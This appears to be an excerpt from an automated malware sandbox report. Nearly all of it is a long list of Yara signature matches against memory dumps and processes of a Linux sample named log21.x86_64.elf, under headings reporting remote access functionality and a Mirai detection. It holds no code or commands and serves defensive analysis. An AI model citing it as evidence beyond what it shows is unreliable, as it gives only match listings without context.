Source: Yara match	File source: 7357.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6439.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7271.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7187.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6685.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6935.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6727.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6536.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6774.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6330.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6447.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7101.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7278.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7115.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6714.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6928.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6265.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6337.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6459.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6591.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6794.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6241.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7419.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6476.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7436.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6538.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6874.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7375.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6955.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6634.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6411.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6659.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6694.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7148.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6598.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6547.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7377.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7359.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6806.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6619.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7387.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6319.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6297.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6740.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6888.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7257.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7296.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7133.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7139.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7135.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6599.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7312.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6970.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6324.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6746.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6813.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7380.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6826.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6539.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7063.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7379.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6308.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6713.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7048.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6657.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6245.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6548.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6847.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6335.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6630.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6993.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6805.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6326.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7378.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6247.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6909.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6372.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7305.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7216.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7190.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6327.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6407.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6597.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6317.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6788.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6669.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6572.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6579.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6561.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6535.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6260.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6904.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6287.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6743.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6626.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6243.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7423.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6515.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7000.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6736.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7294.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7066.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7017.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7039.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6946.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6451.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7273.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7195.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6566.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7282.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6804.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7040.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6571.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7100.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7445.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6869.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7060.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6217, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6231, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6233, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6234, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6235, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6236, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6238, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6239, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6242, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6246, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6252, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6257, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6258, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6259, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6261, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6263, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6267, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6270, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6271, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6273, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6274, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6278, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6281, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6283, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6286, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: log21.x86_64.elf PID: 6291, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: 6724.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6354.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7155.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7252.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6683.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7030.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6252.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6812.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7008.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7035.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6588.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7154.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6915.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6775.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6910.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6968.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7026.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6777.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6564.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7382.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6897.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7397.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7193.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6700.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7024.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6323.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7210.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6453.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7332.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6639.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7018.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6992.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7396.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6418.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7121.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6583.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6668.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6644.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6273.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6276.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6994.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6358.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7181.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6732.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7287.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6486.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6574.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7367.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7228.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6374.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6761.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7259.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7069.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6920.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6632.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7170.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6261.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6519.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6998.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7349.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7055.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6244.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6584.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6291.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6750.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7180.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7052.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7323.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7145.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7127.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6739.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6306.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6854.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7402.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7125.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6981.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7383.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6763.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7275.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6892.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6426.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6749.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6913.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7361.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7059.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6947.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7244.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7211.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6498.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6503.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7411.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6949.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6725.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7407.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6656.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6233.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6286.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7281.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6779.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6769.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6313.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6921.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7002.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6336.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7295.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6401.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6673.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6449.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7196.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6715.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6390.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7315.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6448.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6611.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6267.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7070.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7369.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7147.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6922.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6236.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6984.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6382.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6734.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6918.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7104.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7459.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6917.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6956.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6795.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6801.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7442.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7414.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6797.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6907.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6959.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6708.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6706.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6307.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6454.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6684.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6554.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6728.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7142.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6875.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6514.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6502.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6754.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6318.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6867.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6652.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6792.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7233.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6511.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6842.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6614.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7118.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7325.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6562.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6432.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6516.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7352.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6467.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7303.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7205.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 7074.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY
